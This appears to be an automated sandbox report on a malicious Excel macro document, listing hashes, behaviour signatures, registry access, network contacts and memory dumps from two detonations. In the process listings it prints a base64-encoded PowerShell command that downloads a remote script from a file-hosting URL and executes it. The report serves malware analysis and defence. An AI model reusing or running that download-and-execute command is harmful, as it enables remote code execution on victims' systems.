Malware Analysis Report

2025-03-15 07:55

Sample ID 240808-1ye4js1aqn
Target 6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c
SHA256 6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c
Tags
discovery macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c

Threat Level: Known bad

The file 6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c was found to be: Known bad.

Malicious Activity Summary

discovery macro macro_on_action

Process spawned unexpected child process

Blocklisted process makes network request

Office macro that triggers on suspicious action

Suspicious Office macro

Deletes itself

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

NTFS ADS

Suspicious behavior: RenamesItself

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 22:03

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 22:03

Reported

2024-08-08 22:04

Platform

win7-20240708-en

Max time kernel

37s

Max time network

18s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\D3967F00\:Zone.Identifier:$DATA C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADAAOQA5ADUAMQAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 tmpfiles.org udp
US 104.21.21.16:443 tmpfiles.org tcp

Files

memory/2652-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2652-1-0x0000000071EBD000-0x0000000071EC8000-memory.dmp

memory/2652-5-0x00000000005F0000-0x00000000006F0000-memory.dmp

memory/2652-4-0x00000000005F0000-0x00000000006F0000-memory.dmp

memory/2652-7-0x00000000005F0000-0x00000000006F0000-memory.dmp

memory/2652-6-0x00000000063F0000-0x00000000064F0000-memory.dmp

memory/2652-15-0x0000000071EBD000-0x0000000071EC8000-memory.dmp

memory/2652-16-0x00000000063F0000-0x00000000064F0000-memory.dmp

memory/2652-17-0x00000000005F0000-0x00000000006F0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 22:03

Reported

2024-08-08 22:04

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

36s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\B9F75E00\:Zone.Identifier:$DATA C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADAAOQA5ADUAMQAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 tmpfiles.org udp
US 104.21.21.16:443 tmpfiles.org tcp
US 8.8.8.8:53 16.21.21.104.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/716-0-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp

memory/716-4-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp

memory/716-2-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp

memory/716-1-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp

memory/716-3-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp

memory/716-5-0x00007FF8FB06D000-0x00007FF8FB06E000-memory.dmp

memory/716-6-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-9-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-8-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-12-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-13-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-14-0x00007FF8B8C90000-0x00007FF8B8CA0000-memory.dmp

memory/716-11-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-15-0x00007FF8B8C90000-0x00007FF8B8CA0000-memory.dmp

memory/716-10-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-20-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-19-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-18-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-17-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-16-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-7-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/716-40-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

memory/4956-64-0x0000021E5D0F0000-0x0000021E5D112000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fonjk4s3.g4h.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls

MD5 2ac48467b6f6fa3a6d4024cf63a74911
SHA1 f2a9226c8a78fa4cfb921ce0150b7fda63ccbe4e
SHA256 75c7b0e32aaebe85d46ebb68362dd910a003887463b7cd49a1bf77b7bfcc7421
SHA512 8e834aff6ebe6257f927606d12676ae0e82b2ff949b6c86bed756367ed609f57c04f4d6618e5496c894d8870c212ee9d421f5063735944c91271e0d98902e7fc

memory/716-79-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 f18eb17d4b298818e8499d56aee24f64
SHA1 db0707f80d5cbfda8fde96aadf9bb352ddaa2450
SHA256 cc3e478d7b9cc4193f9f2233dfcf47a927a329dc7b859ac48609bd450b3995c4
SHA512 9accaca5779c12b0eb512779b32d8744a4ea294e68bc6e60f6eefdf3c9ee16f3f42d9e1bddf747616a46712636c2715d29fe1322636a667b1b1e87d4beeb2949

memory/716-86-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp